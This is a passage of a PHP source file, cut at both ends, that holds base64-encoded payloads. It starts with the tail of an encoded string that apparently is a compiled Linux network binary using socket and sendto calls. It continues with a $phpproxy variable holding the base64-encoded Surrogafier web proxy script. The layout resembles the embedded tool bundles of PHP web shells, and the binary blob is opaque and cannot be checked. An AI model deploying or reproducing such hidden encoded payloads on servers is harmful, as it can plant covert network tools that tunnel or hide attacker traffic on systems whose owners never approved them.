mQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";

$phpproxy="
PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvL